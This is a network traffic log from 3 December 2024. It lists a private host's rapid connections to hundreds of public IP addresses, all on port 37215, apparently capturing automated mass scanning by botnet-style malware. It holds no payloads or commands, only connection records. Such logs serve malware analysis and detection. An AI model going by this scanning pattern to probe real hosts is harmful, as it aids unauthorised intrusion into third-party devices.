Dec 3, 2024 22:02:06.051076889 CET	40832	37215	192.168.2.14	41.12.200.128
Dec 3, 2024 22:02:06.051089048 CET	40832	37215	192.168.2.14	197.240.250.173
Dec 3, 2024 22:02:06.051105976 CET	40832	37215	192.168.2.14	41.85.53.34
Dec 3, 2024 22:02:06.051106930 CET	40832	37215	192.168.2.14	156.32.75.156
Dec 3, 2024 22:02:06.051109076 CET	40832	37215	192.168.2.14	156.167.70.251
Dec 3, 2024 22:02:06.051115036 CET	40832	37215	192.168.2.14	197.242.222.153
Dec 3, 2024 22:02:06.051115990 CET	40832	37215	192.168.2.14	197.1.207.29
Dec 3, 2024 22:02:06.051116943 CET	40832	37215	192.168.2.14	41.100.47.158
Dec 3, 2024 22:02:06.051131010 CET	40832	37215	192.168.2.14	156.255.180.225
Dec 3, 2024 22:02:06.051131010 CET	40832	37215	192.168.2.14	197.143.227.247
Dec 3, 2024 22:02:06.051131964 CET	40832	37215	192.168.2.14	156.202.95.249
Dec 3, 2024 22:02:06.051148891 CET	40832	37215	192.168.2.14	197.85.51.246
Dec 3, 2024 22:02:06.051156998 CET	40832	37215	192.168.2.14	197.132.82.154
Dec 3, 2024 22:02:06.051170111 CET	40832	37215	192.168.2.14	197.106.7.12
Dec 3, 2024 22:02:06.051173925 CET	40832	37215	192.168.2.14	197.230.35.34
Dec 3, 2024 22:02:06.051175117 CET	40832	37215	192.168.2.14	41.86.194.240
Dec 3, 2024 22:02:06.051176071 CET	40832	37215	192.168.2.14	156.51.10.201
Dec 3, 2024 22:02:06.051191092 CET	40832	37215	192.168.2.14	197.246.196.88
Dec 3, 2024 22:02:06.051191092 CET	40832	37215	192.168.2.14	41.175.39.204
Dec 3, 2024 22:02:06.051198006 CET	40832	37215	192.168.2.14	197.184.19.128
Dec 3, 2024 22:02:06.051208973 CET	40832	37215	192.168.2.14	197.225.160.231
Dec 3, 2024 22:02:06.051222086 CET	40832	37215	192.168.2.14	197.134.91.71
Dec 3, 2024 22:02:06.051229954 CET	40832	37215	192.168.2.14	41.118.176.147
Dec 3, 2024 22:02:06.051237106 CET	40832	37215	192.168.2.14	156.183.211.200
Dec 3, 2024 22:02:06.051244974 CET	40832	37215	192.168.2.14	156.0.135.79
Dec 3, 2024 22:02:06.051248074 CET	40832	37215	192.168.2.14	156.42.170.211
Dec 3, 2024 22:02:06.051253080 CET	40832	37215	192.168.2.14	197.137.178.44
Dec 3, 2024 22:02:06.051253080 CET	40832	37215	192.168.2.14	197.101.151.168
Dec 3, 2024 22:02:06.051253080 CET	40832	37215	192.168.2.14	41.188.114.100
Dec 3, 2024 22:02:06.051270008 CET	40832	37215	192.168.2.14	41.108.87.199
Dec 3, 2024 22:02:06.051294088 CET	40832	37215	192.168.2.14	41.76.34.144
Dec 3, 2024 22:02:06.051296949 CET	40832	37215	192.168.2.14	197.135.127.169
Dec 3, 2024 22:02:06.051302910 CET	40832	37215	192.168.2.14	197.35.206.160
Dec 3, 2024 22:02:06.051307917 CET	40832	37215	192.168.2.14	156.219.220.127
Dec 3, 2024 22:02:06.051310062 CET	40832	37215	192.168.2.14	41.17.216.189
Dec 3, 2024 22:02:06.051310062 CET	40832	37215	192.168.2.14	197.172.218.161
Dec 3, 2024 22:02:06.051321030 CET	40832	37215	192.168.2.14	197.86.110.180
Dec 3, 2024 22:02:06.051321983 CET	40832	37215	192.168.2.14	197.190.185.162
Dec 3, 2024 22:02:06.051323891 CET	40832	37215	192.168.2.14	156.97.53.47
Dec 3, 2024 22:02:06.051321983 CET	40832	37215	192.168.2.14	156.206.169.69
Dec 3, 2024 22:02:06.051327944 CET	40832	37215	192.168.2.14	156.39.136.93
Dec 3, 2024 22:02:06.051331043 CET	40832	37215	192.168.2.14	41.158.234.55
Dec 3, 2024 22:02:06.051331043 CET	40832	37215	192.168.2.14	156.79.173.94
Dec 3, 2024 22:02:06.051345110 CET	40832	37215	192.168.2.14	156.211.34.19
Dec 3, 2024 22:02:06.051353931 CET	40832	37215	192.168.2.14	41.140.162.17
Dec 3, 2024 22:02:06.051353931 CET	40832	37215	192.168.2.14	41.176.200.122
Dec 3, 2024 22:02:06.051367998 CET	40832	37215	192.168.2.14	41.38.103.212
Dec 3, 2024 22:02:06.051367998 CET	40832	37215	192.168.2.14	197.196.255.175
Dec 3, 2024 22:02:06.051367998 CET	40832	37215	192.168.2.14	197.68.235.191
Dec 3, 2024 22:02:06.051386118 CET	40832	37215	192.168.2.14	197.216.202.197
Dec 3, 2024 22:02:06.051389933 CET	40832	37215	192.168.2.14	197.184.4.88
Dec 3, 2024 22:02:06.051398039 CET	40832	37215	192.168.2.14	156.86.244.166
Dec 3, 2024 22:02:06.051399946 CET	40832	37215	192.168.2.14	197.32.75.75
Dec 3, 2024 22:02:06.051404953 CET	40832	37215	192.168.2.14	197.115.44.8
Dec 3, 2024 22:02:06.051412106 CET	40832	37215	192.168.2.14	156.99.48.154
Dec 3, 2024 22:02:06.051429987 CET	40832	37215	192.168.2.14	41.105.234.140
Dec 3, 2024 22:02:06.051429987 CET	40832	37215	192.168.2.14	41.135.173.213
Dec 3, 2024 22:02:06.051440954 CET	40832	37215	192.168.2.14	156.15.163.155
Dec 3, 2024 22:02:06.051445961 CET	40832	37215	192.168.2.14	197.203.204.143
Dec 3, 2024 22:02:06.051455975 CET	40832	37215	192.168.2.14	197.23.168.84
Dec 3, 2024 22:02:06.051456928 CET	40832	37215	192.168.2.14	41.159.146.99
Dec 3, 2024 22:02:06.051459074 CET	40832	37215	192.168.2.14	156.31.168.10
Dec 3, 2024 22:02:06.051456928 CET	40832	37215	192.168.2.14	197.226.213.8
Dec 3, 2024 22:02:06.051461935 CET	40832	37215	192.168.2.14	197.232.252.251
Dec 3, 2024 22:02:06.051461935 CET	40832	37215	192.168.2.14	41.76.228.225
Dec 3, 2024 22:02:06.051461935 CET	40832	37215	192.168.2.14	156.226.178.197
Dec 3, 2024 22:02:06.051461935 CET	40832	37215	192.168.2.14	156.8.56.106
Dec 3, 2024 22:02:06.051461935 CET	40832	37215	192.168.2.14	41.106.50.10
Dec 3, 2024 22:02:06.051461935 CET	40832	37215	192.168.2.14	41.193.68.207
Dec 3, 2024 22:02:06.051484108 CET	40832	37215	192.168.2.14	41.192.97.82
Dec 3, 2024 22:02:06.051491976 CET	40832	37215	192.168.2.14	197.151.75.59
Dec 3, 2024 22:02:06.051493883 CET	40832	37215	192.168.2.14	156.187.53.67
Dec 3, 2024 22:02:06.051493883 CET	40832	37215	192.168.2.14	41.50.206.214
Dec 3, 2024 22:02:06.051496983 CET	40832	37215	192.168.2.14	41.175.190.203
Dec 3, 2024 22:02:06.051505089 CET	40832	37215	192.168.2.14	41.6.215.200
Dec 3, 2024 22:02:06.051505089 CET	40832	37215	192.168.2.14	197.37.189.239
Dec 3, 2024 22:02:06.051505089 CET	40832	37215	192.168.2.14	156.127.243.167
Dec 3, 2024 22:02:06.051506996 CET	40832	37215	192.168.2.14	156.28.143.192
Dec 3, 2024 22:02:06.051506996 CET	40832	37215	192.168.2.14	197.92.103.187
Dec 3, 2024 22:02:06.051515102 CET	40832	37215	192.168.2.14	197.33.74.202
Dec 3, 2024 22:02:06.051506996 CET	40832	37215	192.168.2.14	41.228.239.251
Dec 3, 2024 22:02:06.051515102 CET	40832	37215	192.168.2.14	41.63.19.47
Dec 3, 2024 22:02:06.051521063 CET	40832	37215	192.168.2.14	197.114.130.169
Dec 3, 2024 22:02:06.051544905 CET	40832	37215	192.168.2.14	197.225.4.152
Dec 3, 2024 22:02:06.051546097 CET	40832	37215	192.168.2.14	156.87.194.47
Dec 3, 2024 22:02:06.051548004 CET	40832	37215	192.168.2.14	156.111.123.179
Dec 3, 2024 22:02:06.051548004 CET	40832	37215	192.168.2.14	197.183.25.106
Dec 3, 2024 22:02:06.051548958 CET	40832	37215	192.168.2.14	156.202.252.67
Dec 3, 2024 22:02:06.051548958 CET	40832	37215	192.168.2.14	41.160.237.4
Dec 3, 2024 22:02:06.051552057 CET	40832	37215	192.168.2.14	41.150.150.96
Dec 3, 2024 22:02:06.051556110 CET	40832	37215	192.168.2.14	41.189.129.201
Dec 3, 2024 22:02:06.051558971 CET	40832	37215	192.168.2.14	197.202.14.159
Dec 3, 2024 22:02:06.051558971 CET	40832	37215	192.168.2.14	156.97.120.191
Dec 3, 2024 22:02:06.051558971 CET	40832	37215	192.168.2.14	156.252.144.23
Dec 3, 2024 22:02:06.051558971 CET	40832	37215	192.168.2.14	197.192.224.52
Dec 3, 2024 22:02:06.051563978 CET	40832	37215	192.168.2.14	197.182.208.133
Dec 3, 2024 22:02:06.051563978 CET	40832	37215	192.168.2.14	156.186.102.236
Dec 3, 2024 22:02:06.051580906 CET	40832	37215	192.168.2.14	156.125.128.219
Dec 3, 2024 22:02:06.051583052 CET	40832	37215	192.168.2.14	41.55.64.115
Dec 3, 2024 22:02:06.051583052 CET	40832	37215	192.168.2.14	156.20.218.212
Dec 3, 2024 22:02:06.051614046 CET	40832	37215	192.168.2.14	156.235.220.163
Dec 3, 2024 22:02:06.051615000 CET	40832	37215	192.168.2.14	197.211.134.188
Dec 3, 2024 22:02:06.051615953 CET	40832	37215	192.168.2.14	156.106.117.156
Dec 3, 2024 22:02:06.051615953 CET	40832	37215	192.168.2.14	197.148.189.112
Dec 3, 2024 22:02:06.051631927 CET	40832	37215	192.168.2.14	197.137.175.114
Dec 3, 2024 22:02:06.051632881 CET	40832	37215	192.168.2.14	156.209.234.179
Dec 3, 2024 22:02:06.051632881 CET	40832	37215	192.168.2.14	197.233.217.55
Dec 3, 2024 22:02:06.051632881 CET	40832	37215	192.168.2.14	156.15.54.244
Dec 3, 2024 22:02:06.051632881 CET	40832	37215	192.168.2.14	156.234.58.204
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	41.140.111.148
Dec 3, 2024 22:02:06.051632881 CET	40832	37215	192.168.2.14	41.2.164.202
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	197.120.19.77
Dec 3, 2024 22:02:06.051632881 CET	40832	37215	192.168.2.14	156.251.163.212
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	197.86.194.39
Dec 3, 2024 22:02:06.051636934 CET	40832	37215	192.168.2.14	197.248.47.76
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	197.104.46.238
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	41.216.186.121
Dec 3, 2024 22:02:06.051636934 CET	40832	37215	192.168.2.14	156.101.20.152
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	156.228.138.170
Dec 3, 2024 22:02:06.051634073 CET	40832	37215	192.168.2.14	156.60.21.107
Dec 3, 2024 22:02:06.051636934 CET	40832	37215	192.168.2.14	197.159.89.226
Dec 3, 2024 22:02:06.051654100 CET	40832	37215	192.168.2.14	41.174.134.130
Dec 3, 2024 22:02:06.051656008 CET	40832	37215	192.168.2.14	197.76.2.230
Dec 3, 2024 22:02:06.051656008 CET	40832	37215	192.168.2.14	41.10.193.233
Dec 3, 2024 22:02:06.051668882 CET	40832	37215	192.168.2.14	197.9.19.198
Dec 3, 2024 22:02:06.051668882 CET	40832	37215	192.168.2.14	156.12.61.191
Dec 3, 2024 22:02:06.051675081 CET	40832	37215	192.168.2.14	41.114.90.14
Dec 3, 2024 22:02:06.051681042 CET	40832	37215	192.168.2.14	197.36.167.80
Dec 3, 2024 22:02:06.051687002 CET	40832	37215	192.168.2.14	197.133.69.58
Dec 3, 2024 22:02:06.051700115 CET	40832	37215	192.168.2.14	197.130.69.41
Dec 3, 2024 22:02:06.051702976 CET	40832	37215	192.168.2.14	197.214.22.68
Dec 3, 2024 22:02:06.051702976 CET	40832	37215	192.168.2.14	41.113.125.104
Dec 3, 2024 22:02:06.051721096 CET	40832	37215	192.168.2.14	41.179.89.171
Dec 3, 2024 22:02:06.052233934 CET	39224	37215	192.168.2.14	156.115.5.177
Dec 3, 2024 22:02:06.052795887 CET	38556	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:06.052795887 CET	38556	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:06.053092003 CET	39230	37215	192.168.2.14	156.180.52.49
Dec 3, 2024 22:02:06.053510904 CET	38806	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:06.053510904 CET	38806	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:06.053785086 CET	39484	37215	192.168.2.14	156.72.185.93
Dec 3, 2024 22:02:06.054141998 CET	33422	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:06.054141998 CET	33422	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:06.054409027 CET	34098	37215	192.168.2.14	197.231.16.59
Dec 3, 2024 22:02:06.054760933 CET	59866	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:06.054760933 CET	59866	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:06.055063009 CET	60542	37215	192.168.2.14	41.153.253.195
Dec 3, 2024 22:02:06.055438042 CET	47150	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:06.055438042 CET	47150	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:06.055721045 CET	47826	37215	192.168.2.14	197.100.58.133
Dec 3, 2024 22:02:06.056087017 CET	60746	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:06.056087017 CET	60746	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:06.056384087 CET	33190	37215	192.168.2.14	41.163.239.113
Dec 3, 2024 22:02:06.056775093 CET	52764	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:06.056775093 CET	52764	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:06.057041883 CET	53440	37215	192.168.2.14	156.8.122.245
Dec 3, 2024 22:02:06.057291031 CET	37048	37215	192.168.2.14	41.137.28.215
Dec 3, 2024 22:02:06.057291031 CET	39768	37215	192.168.2.14	41.169.49.210
Dec 3, 2024 22:02:06.057302952 CET	34508	37215	192.168.2.14	41.204.234.62
Dec 3, 2024 22:02:06.057302952 CET	60886	37215	192.168.2.14	156.233.121.125
Dec 3, 2024 22:02:06.057307959 CET	40602	37215	192.168.2.14	197.127.184.231
Dec 3, 2024 22:02:06.057312012 CET	40570	37215	192.168.2.14	197.158.210.226
Dec 3, 2024 22:02:06.057317972 CET	53800	37215	192.168.2.14	156.65.17.105
Dec 3, 2024 22:02:06.057322979 CET	33284	37215	192.168.2.14	41.221.7.205
Dec 3, 2024 22:02:06.057322979 CET	55902	37215	192.168.2.14	197.71.132.97
Dec 3, 2024 22:02:06.057332993 CET	58410	37215	192.168.2.14	197.45.49.70
Dec 3, 2024 22:02:06.057339907 CET	44300	37215	192.168.2.14	41.52.89.148
Dec 3, 2024 22:02:06.057342052 CET	55454	37215	192.168.2.14	156.247.110.96
Dec 3, 2024 22:02:06.057459116 CET	55894	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:06.057459116 CET	55894	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:06.057738066 CET	56570	37215	192.168.2.14	41.154.31.154
Dec 3, 2024 22:02:06.058093071 CET	58744	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:06.058093071 CET	58744	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:06.058376074 CET	59420	37215	192.168.2.14	197.71.140.80
Dec 3, 2024 22:02:06.058736086 CET	48542	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:06.058736086 CET	48542	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:06.059012890 CET	49218	37215	192.168.2.14	197.217.251.3
Dec 3, 2024 22:02:06.059354067 CET	54814	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:06.059354067 CET	54814	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:06.059632063 CET	55490	37215	192.168.2.14	197.198.132.132
Dec 3, 2024 22:02:06.059988976 CET	49780	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:06.059988976 CET	49780	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:06.060262918 CET	50454	37215	192.168.2.14	156.55.125.14
Dec 3, 2024 22:02:06.060614109 CET	35364	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:06.060614109 CET	35364	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:06.060902119 CET	36038	37215	192.168.2.14	156.161.126.173
Dec 3, 2024 22:02:06.061253071 CET	43002	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:06.061253071 CET	43002	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:06.061528921 CET	43676	37215	192.168.2.14	156.183.203.242
Dec 3, 2024 22:02:06.061897039 CET	44306	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:06.061897039 CET	44306	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:06.062185049 CET	44980	37215	192.168.2.14	197.152.168.4
Dec 3, 2024 22:02:06.062577009 CET	56886	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:06.062577009 CET	56886	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:06.062872887 CET	57560	37215	192.168.2.14	156.204.54.116
Dec 3, 2024 22:02:06.063251972 CET	45940	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:06.063251972 CET	45940	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:06.063524008 CET	46614	37215	192.168.2.14	156.131.137.8
Dec 3, 2024 22:02:06.063884974 CET	43248	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:06.063884974 CET	43248	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:06.064163923 CET	43920	37215	192.168.2.14	197.86.98.63
Dec 3, 2024 22:02:06.064526081 CET	55550	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:06.064526081 CET	55550	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:06.064810038 CET	56222	37215	192.168.2.14	197.227.173.107
Dec 3, 2024 22:02:06.065181017 CET	53942	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:06.065181017 CET	53942	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:06.065465927 CET	54614	37215	192.168.2.14	41.233.227.101
Dec 3, 2024 22:02:06.065821886 CET	34158	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:06.065821886 CET	34158	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:06.066101074 CET	34830	37215	192.168.2.14	41.231.216.149
Dec 3, 2024 22:02:06.066461086 CET	52498	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:06.066461086 CET	52498	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:06.066755056 CET	53170	37215	192.168.2.14	156.218.161.155
Dec 3, 2024 22:02:06.067126989 CET	49772	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:06.067126989 CET	49772	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:06.067408085 CET	50444	37215	192.168.2.14	156.97.134.32
Dec 3, 2024 22:02:06.067763090 CET	42738	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:06.067763090 CET	42738	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:06.068046093 CET	43410	37215	192.168.2.14	197.49.101.41
Dec 3, 2024 22:02:06.068443060 CET	46224	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:06.068443060 CET	46224	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:06.068736076 CET	46896	37215	192.168.2.14	41.246.60.179
Dec 3, 2024 22:02:06.069088936 CET	57094	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:06.069088936 CET	57094	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:06.069382906 CET	57766	37215	192.168.2.14	41.10.137.114
Dec 3, 2024 22:02:06.081943989 CET	37215	34028	197.19.145.209	192.168.2.14
Dec 3, 2024 22:02:06.082000017 CET	37215	38414	41.68.117.52	192.168.2.14
Dec 3, 2024 22:02:06.082015991 CET	37215	51700	41.118.194.99	192.168.2.14
Dec 3, 2024 22:02:06.082019091 CET	34028	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.082043886 CET	38414	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:06.082060099 CET	37215	49020	156.48.132.91	192.168.2.14
Dec 3, 2024 22:02:06.082071066 CET	37215	44634	197.97.53.20	192.168.2.14
Dec 3, 2024 22:02:06.082073927 CET	34028	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.082073927 CET	34028	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.082076073 CET	51700	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:06.082118988 CET	49020	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:06.082128048 CET	44634	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:06.082201958 CET	37215	57636	41.3.168.87	192.168.2.14
Dec 3, 2024 22:02:06.082211971 CET	37215	37010	156.117.91.14	192.168.2.14
Dec 3, 2024 22:02:06.082225084 CET	37215	48674	41.92.97.54	192.168.2.14
Dec 3, 2024 22:02:06.082233906 CET	37215	49882	197.119.230.197	192.168.2.14
Dec 3, 2024 22:02:06.082236052 CET	37215	50396	197.197.86.116	192.168.2.14
Dec 3, 2024 22:02:06.082240105 CET	37215	43360	156.64.242.57	192.168.2.14
Dec 3, 2024 22:02:06.082243919 CET	57636	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:06.082251072 CET	37215	49322	41.114.48.9	192.168.2.14
Dec 3, 2024 22:02:06.082261086 CET	37215	52120	197.195.158.99	192.168.2.14
Dec 3, 2024 22:02:06.082266092 CET	37215	48250	197.37.224.195	192.168.2.14
Dec 3, 2024 22:02:06.082266092 CET	37010	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:06.082269907 CET	48674	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:06.082279921 CET	37215	35768	41.240.186.144	192.168.2.14
Dec 3, 2024 22:02:06.082283020 CET	49882	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:06.082288980 CET	37215	46914	197.174.91.252	192.168.2.14
Dec 3, 2024 22:02:06.082289934 CET	50396	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.082293987 CET	43360	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:06.082302094 CET	48250	37215	192.168.2.14	197.37.224.195
Dec 3, 2024 22:02:06.082303047 CET	49322	37215	192.168.2.14	41.114.48.9
Dec 3, 2024 22:02:06.082303047 CET	37215	36356	41.72.83.125	192.168.2.14
Dec 3, 2024 22:02:06.082303047 CET	52120	37215	192.168.2.14	197.195.158.99
Dec 3, 2024 22:02:06.082315922 CET	37215	37468	197.198.71.1	192.168.2.14
Dec 3, 2024 22:02:06.082321882 CET	35768	37215	192.168.2.14	41.240.186.144
Dec 3, 2024 22:02:06.082325935 CET	37215	46448	156.7.166.118	192.168.2.14
Dec 3, 2024 22:02:06.082328081 CET	46914	37215	192.168.2.14	197.174.91.252
Dec 3, 2024 22:02:06.082335949 CET	37215	47430	41.41.138.225	192.168.2.14
Dec 3, 2024 22:02:06.082340956 CET	36356	37215	192.168.2.14	41.72.83.125
Dec 3, 2024 22:02:06.082345963 CET	37215	45228	41.66.212.146	192.168.2.14
Dec 3, 2024 22:02:06.082354069 CET	37468	37215	192.168.2.14	197.198.71.1
Dec 3, 2024 22:02:06.082354069 CET	46448	37215	192.168.2.14	156.7.166.118
Dec 3, 2024 22:02:06.082360029 CET	37215	38236	197.188.21.100	192.168.2.14
Dec 3, 2024 22:02:06.082369089 CET	47430	37215	192.168.2.14	41.41.138.225
Dec 3, 2024 22:02:06.082374096 CET	37215	52106	197.131.102.163	192.168.2.14
Dec 3, 2024 22:02:06.082379103 CET	45228	37215	192.168.2.14	41.66.212.146
Dec 3, 2024 22:02:06.082384109 CET	37215	49074	41.242.231.240	192.168.2.14
Dec 3, 2024 22:02:06.082395077 CET	37215	60118	41.159.149.11	192.168.2.14
Dec 3, 2024 22:02:06.082395077 CET	38236	37215	192.168.2.14	197.188.21.100
Dec 3, 2024 22:02:06.082403898 CET	37215	43406	156.176.19.33	192.168.2.14
Dec 3, 2024 22:02:06.082407951 CET	52106	37215	192.168.2.14	197.131.102.163
Dec 3, 2024 22:02:06.082423925 CET	37215	55910	197.53.171.17	192.168.2.14
Dec 3, 2024 22:02:06.082423925 CET	49074	37215	192.168.2.14	41.242.231.240
Dec 3, 2024 22:02:06.082423925 CET	60118	37215	192.168.2.14	41.159.149.11
Dec 3, 2024 22:02:06.082436085 CET	37215	43024	41.179.104.30	192.168.2.14
Dec 3, 2024 22:02:06.082442045 CET	37215	41480	41.250.53.110	192.168.2.14
Dec 3, 2024 22:02:06.082443953 CET	43406	37215	192.168.2.14	156.176.19.33
Dec 3, 2024 22:02:06.082461119 CET	55910	37215	192.168.2.14	197.53.171.17
Dec 3, 2024 22:02:06.082478046 CET	43024	37215	192.168.2.14	41.179.104.30
Dec 3, 2024 22:02:06.082478046 CET	41480	37215	192.168.2.14	41.250.53.110
Dec 3, 2024 22:02:06.082506895 CET	34696	37215	192.168.2.14	197.19.145.209
Dec 3, 2024 22:02:06.082976103 CET	38414	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:06.082976103 CET	38414	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:06.083262920 CET	39088	37215	192.168.2.14	41.68.117.52
Dec 3, 2024 22:02:06.083699942 CET	51700	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:06.083699942 CET	51700	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:06.083998919 CET	52374	37215	192.168.2.14	41.118.194.99
Dec 3, 2024 22:02:06.084398985 CET	37010	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:06.084398985 CET	37010	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:06.084695101 CET	37680	37215	192.168.2.14	156.117.91.14
Dec 3, 2024 22:02:06.085081100 CET	49020	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:06.085081100 CET	49020	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:06.085371017 CET	49690	37215	192.168.2.14	156.48.132.91
Dec 3, 2024 22:02:06.085760117 CET	44634	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:06.085760117 CET	44634	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:06.086038113 CET	45304	37215	192.168.2.14	197.97.53.20
Dec 3, 2024 22:02:06.086431026 CET	49882	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:06.086431026 CET	49882	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:06.086710930 CET	50552	37215	192.168.2.14	197.119.230.197
Dec 3, 2024 22:02:06.087106943 CET	50396	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.087106943 CET	50396	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.087394953 CET	51066	37215	192.168.2.14	197.197.86.116
Dec 3, 2024 22:02:06.087807894 CET	48674	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:06.087807894 CET	48674	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:06.088093042 CET	49344	37215	192.168.2.14	41.92.97.54
Dec 3, 2024 22:02:06.088490963 CET	57636	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:06.088490963 CET	57636	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:06.088763952 CET	58306	37215	192.168.2.14	41.3.168.87
Dec 3, 2024 22:02:06.089126110 CET	43360	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:06.089126110 CET	43360	37215	192.168.2.14	156.64.242.57
Dec 3, 2024 22:02:06.089293003 CET	50126	37215	192.168.2.14	41.150.87.238
Dec 3, 2024 22:02:06.089293957 CET	34718	37215	192.168.2.14	41.169.211.235
Dec 3, 2024 22:02:06.089294910 CET	59542	37215	192.168.2.14	41.212.7.29
Dec 3, 2024 22:02:06.089299917 CET	55350	37215	192.168.2.14	41.197.166.51
Dec 3, 2024 22:02:06.089303970 CET	52006	37215	192.168.2.14	156.53.134.68
Dec 3, 2024 22:02:06.089310884 CET	48744	37215	192.168.2.14	197.178.163.42
Dec 3, 2024 22:02:06.089313030 CET	55098	37215	192.168.2.14	41.198.162.115
Dec 3, 2024 22:02:06.089322090 CET	48240	37215	192.168.2.14	156.46.78.126
Dec 3, 2024 22:02:06.089328051 CET	40712	37215	192.168.2.14	197.138.171.55
Dec 3, 2024 22:02:06.089334011 CET	54386	37215	192.168.2.14	156.18.140.14
Dec 3, 2024 22:02:06.089334965 CET	44930	37215	192.168.2.14	156.79.246.90
Dec 3, 2024 22:02:06.089340925 CET	52242	37215	192.168.2.14	156.35.166.92
Dec 3, 2024 22:02:06.089340925 CET	59304	37215	192.168.2.14	156.79.110.46
Dec 3, 2024 22:02:06.089345932 CET	53518	37215	192.168.2.14	41.120.64.223
Dec 3, 2024 22:02:06.089349031 CET	53026	37215	192.168.2.14	156.129.55.251
Dec 3, 2024 22:02:06.089354038 CET	38390	37215	192.168.2.14	41.12.21.54
Dec 3, 2024 22:02:06.089359999 CET	59450	37215	192.168.2.14	41.22.243.184
Dec 3, 2024 22:02:06.089365005 CET	37530	37215	192.168.2.14	41.97.202.38
Dec 3, 2024 22:02:06.089368105 CET	33902	37215	192.168.2.14	197.98.147.253
